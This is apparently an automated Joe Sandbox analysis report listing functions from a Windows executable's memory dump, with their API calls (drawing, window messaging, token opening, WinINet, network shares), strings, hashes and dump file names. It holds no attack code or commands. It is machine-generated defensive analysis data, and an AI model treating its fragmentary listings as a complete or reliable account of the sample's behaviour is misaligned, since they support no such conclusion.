QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0082ACD3,?,00008000), ref: 0082B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0082ACD3,?,00008000), ref: 0082B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0082ACD3,?,00008000), ref: 0082B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0082ACD3,?,00008000), ref: 0082B126

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: e836b0a1da72951e91dc024a30b3f3502ce77d8c6ef12fa0579bc7fb5447cae1
Instruction ID: e6fbef56875121e685d5b8f0d59841209ee78f8a7e869b2d9bec725b244dde7c
Opcode Fuzzy Hash: e836b0a1da72951e91dc024a30b3f3502ce77d8c6ef12fa0579bc7fb5447cae1
Instruction Fuzzy Hash: A5112D31D02A3DEBCF00AFE4E9696EEBF78FF49711F114096D941B2281DB3456A08B55

Function 00857E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00857E33
ScreenToClient.USER32(?,?), ref: 00857E4B
ScreenToClient.USER32(?,?), ref: 00857E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00857E8A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 2e81e821390bba8f8d604917e8b64d6eeaa45bcf3d8369c8c11a29b130561c93
Instruction ID: ef86cc1fbcb15181534fca9c5803ca6621c9b61d49b80c5a6478b3bc320ea94e
Opcode Fuzzy Hash: 2e81e821390bba8f8d604917e8b64d6eeaa45bcf3d8369c8c11a29b130561c93
Instruction Fuzzy Hash: E41142B9D0020AAFDB41CF98D884AEEBBF9FF18311F509066E915E3210D735AA54CF90

Function 00822DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00822DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00822DD6
GetCurrentThreadId.KERNEL32 ref: 00822DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00822DE4

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: f858f8caeb5752bcbab7b192152ccd47b3756abdb8063a448125556b885a0808
Instruction ID: 477537475445f521050b83ab4d334cc21b933026ce8d26cc5d7fa530c3fdea8a
Opcode Fuzzy Hash: f858f8caeb5752bcbab7b192152ccd47b3756abdb8063a448125556b885a0808
Instruction Fuzzy Hash: F3E0EDB25417387BD7201B72AC0DEEB7EACFB56BA2F400119B506D50909AA99985CAB0

Function 00858863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 007D9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 007D9693
Part of subcall function 007D9639: SelectObject.GDI32(?,00000000), ref: 007D96A2
Part of subcall function 007D9639: BeginPath.GDI32(?), ref: 007D96B9
Part of subcall function 007D9639: SelectObject.GDI32(?,00000000), ref: 007D96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00858887
LineTo.GDI32(?,?,?), ref: 00858894
EndPath.GDI32(?), ref: 008588A4
StrokePath.GDI32(?), ref: 008588B2

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 95c932b87889642c742b5852a2e0d59e2f37f9db97db3cbd9ab53f0c33376d43
Instruction ID: ed4f286f9a576607ed99eeb52b5f6515cbd4af09861fd418e9a0b2801560340e
Opcode Fuzzy Hash: 95c932b87889642c742b5852a2e0d59e2f37f9db97db3cbd9ab53f0c33376d43
Instruction Fuzzy Hash: 87F03A36045759FADB126F94AC0DFCA3F69BF06312F448001FA11650E1C7795511CFA5

Function 007D98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 007D98CC
SetTextColor.GDI32(?,?), ref: 007D98D6
SetBkMode.GDI32(?,00000001), ref: 007D98E9
GetStockObject.GDI32(00000005), ref: 007D98F1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: b2ea3a2d1f04728c0bf0e07ec02e3e165b07bf5013e640b0df696f2988626d6c
Instruction ID: 7e2710584abb0d55fa5ae400ea544202b6c31c0081ea8e9773e00c1863a5a7e3
Opcode Fuzzy Hash: b2ea3a2d1f04728c0bf0e07ec02e3e165b07bf5013e640b0df696f2988626d6c
Instruction Fuzzy Hash: 66E06D31284780AEDB215B78AC09BE83F21FB12376F04821AF7FA980E1C77546809F10

Function 0082162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00821634
OpenThreadToken.ADVAPI32(00000000,?,?,?,008211D9), ref: 0082163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,008211D9), ref: 00821648
OpenProcessToken.ADVAPI32(00000000,?,?,?,008211D9), ref: 0082164F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: b05583b22f4c9b77825b204d794dc10d236082f3d2d2e4d56931853df6cc2b89
Instruction ID: 307ab00bd70c5e323d683c531c37d37db62ddfe5b4deb5a23c80e6c7f17b0977
Opcode Fuzzy Hash: b05583b22f4c9b77825b204d794dc10d236082f3d2d2e4d56931853df6cc2b89
Instruction Fuzzy Hash: 95E04F71602321AFDB201BA1AD0DB8A3B68FF64B93F144808F245C9080D6284480CB50

Function 0081D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0081D858
GetDC.USER32(00000000), ref: 0081D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0081D882
ReleaseDC.USER32(?), ref: 0081D8A3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 80321fc4900aec92d92fc004ee658de98730354d8861e62f4ed112d659213ac0
Instruction ID: 2122ce86a743e8bf9fdece4e4af494ba75e061e3ad753030cbb76c33171f4755
Opcode Fuzzy Hash: 80321fc4900aec92d92fc004ee658de98730354d8861e62f4ed112d659213ac0
Instruction Fuzzy Hash: BDE075B5800305DFCB519FA09908A6DBBF5FB58712B14945DE84AE7250D73C5A41AF50

Function 0081D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0081D86C
GetDC.USER32(00000000), ref: 0081D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0081D882
ReleaseDC.USER32(?), ref: 0081D8A3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 24a41614a879494edfd5c8a54e3b288b047b401cbdc1e083f6d9b6fbdd5aa3c3
Instruction ID: 2bf02e4f3862b3768e6e047bc2f1dda6218a5b5b0eef81d18ef1f5dd985acdc5
Opcode Fuzzy Hash: 24a41614a879494edfd5c8a54e3b288b047b401cbdc1e083f6d9b6fbdd5aa3c3
Instruction Fuzzy Hash: D6E07EB5800304EFCB51AFA09808A6DBBF5BB58712B14944DE94AE7250DB3C5A02AF50

Function 00834D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 007C7620: _wcslen.LIBCMT ref: 007C7625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00834ED4

Strings

LPT, xrefs: 00834DFB
*, xrefs: 00834E10

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 8bd390c665817fc8e5f2364423bea11dd212f034414bbccf0c3799ba956e7726
Instruction ID: b555e8cce4bbf901e78aaf014cbc8ac07a03759b4e0a8da3e3a5d23bc8641b6e
Opcode Fuzzy Hash: 8bd390c665817fc8e5f2364423bea11dd212f034414bbccf0c3799ba956e7726
Instruction Fuzzy Hash: 0C912C75A002049FCB14DF58C484EA9BBF1FF85318F19909DE80A9B362DB75ED85CB91

Function 007DE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 007DE1B1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 3766ca68b92afe40e3abf0f7612e1d7b33cb143748371578a8042b3cd4ba1b3a
Instruction ID: 772344bc0c62f28b86ca473b75b27b020ce0def21ce891dc3f94981b1c906211
Opcode Fuzzy Hash: 3766ca68b92afe40e3abf0f7612e1d7b33cb143748371578a8042b3cd4ba1b3a
Instruction Fuzzy Hash: 2C510575500246DFEB15EF68C485AFA7BB8FF55310F24445AEC51DB2D0D638AD82CB60

Function 007DF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 007DF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 007DF2BB

Strings

@, xrefs: 007DF2AF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: e21d8cd01dc5abeb0c925dd77deb1b232a6c974d3371ad708307f7fc12cf4128
Instruction ID: fe45713c5ce83b088f56652ad8fc277741686fbd8f7ce28d526c79908076813b
Opcode Fuzzy Hash: e21d8cd01dc5abeb0c925dd77deb1b232a6c974d3371ad708307f7fc12cf4128
Instruction Fuzzy Hash: 22513472418B44DBD320AF14DC8ABAFBBF8FB84300F81885DF1D9411A5EB749569CB66

Function 00845745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 008457E0
_wcslen.LIBCMT ref: 008457EC

Strings

CALLARGARRAY, xrefs: 008457E6, 008457EB

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 88cbe79965de4824fb4cb9e8cb93736093da00d2e3e3e29dc966bc21348f505f
Instruction ID: 297a8777ea2817bfb68b8d590d36ccaac18637679dd9595992486654a1096234
Opcode Fuzzy Hash: 88cbe79965de4824fb4cb9e8cb93736093da00d2e3e3e29dc966bc21348f505f
Instruction Fuzzy Hash: FB418C31A00209DFCB14EFA9C8859AEBBF5FF59724F10406DE505E7292EB349D81CBA0

Function 0083D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0083D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0083D13A

Strings

|, xrefs: 0083D10B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 2548dcee7bf3b4882d8376b47b8b1e490c5cd26b5739b839255dbd3c65e3a459
Instruction ID: 84f4ff75506f875dd1ea11bb9cbd01811996f87c3ad7c900411dfbc86baacfec
Opcode Fuzzy Hash: 2548dcee7bf3b4882d8376b47b8b1e490c5cd26b5739b839255dbd3c65e3a459
Instruction Fuzzy Hash: EB310771D00209EBCF15EFA5DC89EEEBFB9FF48304F000019E815A6162E735AA16CB90

Function 0085356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00853621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0085365C

Strings

static, xrefs: 008535BC

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: fa85bf22a1b72a642eab49562ef26c63ae7e82b18b43f52dc784cea0df6d304b
Instruction ID: 26884efd8344ab539a03b7ea5944164997849e0272dc4ec7ef48d4fc8361d5da
Opcode Fuzzy Hash: fa85bf22a1b72a642eab49562ef26c63ae7e82b18b43f52dc784cea0df6d304b
Instruction Fuzzy Hash: DE318C71100604AEDB109F28DC80EBB73A9FF98765F10961DF8A5D7290DA34AD85DB60

Function 00854537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 0085461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00854634

Strings

', xrefs: 0085458E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 60a34ef5cc03cd5f44f9f39cd30c5c475384b64a470a45c3c543652b5f6e5cfb
Instruction ID: 8640ab8ef240325ee068772c0b57b8e17c92c57ae515d44e8dc0dc719c1c9e5a
Opcode Fuzzy Hash: 60a34ef5cc03cd5f44f9f39cd30c5c475384b64a470a45c3c543652b5f6e5cfb
Instruction Fuzzy Hash: 76311774A0120AAFDB14CF69C990BDABBB5FB09305F14506AED04EB341E770A985CF90

Function 008531EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0085327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00853287

Strings

Combobox, xrefs: 00853249

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 3012a9e9997bf34d44aa7a65d7f79c2d5e754ca4ec40bae30a0f4a24cfb4e3cc
Instruction ID: 729a6476a825ee1a17a9968382750055ac57c62786effabe0b7d3114b4c140a9
Opcode Fuzzy Hash: 3012a9e9997bf34d44aa7a65d7f79c2d5e754ca4ec40bae30a0f4a24cfb4e3cc
Instruction Fuzzy Hash: A811B271304608BFEF219E54DC84EBB376BFB943A6F104129F918E7290D6359D558760

Function 00853710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 007C600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 007C604C
Part of subcall function 007C600E: GetStockObject.GDI32(00000011), ref: 007C6060
Part of subcall function 007C600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 007C606A

GetWindowRect.USER32(00000000,?), ref: 0085377A
GetSysColor.USER32(00000012), ref: 00853794

Strings

static, xrefs: 00853757

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 83a36eddb9aac5877f76159b075679f79b69bd36b248a4a0f3f9ed343fde70b8
Instruction ID: 12d96dc54db6a9f0dc585e2ff54b6851160c6bc5635c5782badf5c66614fc2eb
Opcode Fuzzy Hash: 83a36eddb9aac5877f76159b075679f79b69bd36b248a4a0f3f9ed343fde70b8
Instruction Fuzzy Hash: 111129B2A10209AFDF00DFA8CC45EFA7BB8FB08355F004529FD55E2250E735E9559B50

Function 0083CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0083CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0083CDA6

Strings

<local>, xrefs: 0083CD66

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: aa9b9971f1ad64919247c7d658229d5488b80ed0e015264fe50d49e4817c9565
Instruction ID: 147cb812547f45733ec3c67fbb91f46c71496bd83cbc33cecd65152e3f14633e
Opcode Fuzzy Hash: aa9b9971f1ad64919247c7d658229d5488b80ed0e015264fe50d49e4817c9565
Instruction Fuzzy Hash: 6411C275205635BED7385B668C49EE7BEADFF927A8F00422AB109E3180D7749840D7F0

Function 00853429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 008534AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 008534BA

Strings

edit, xrefs: 0085348F

Memory Dump Source

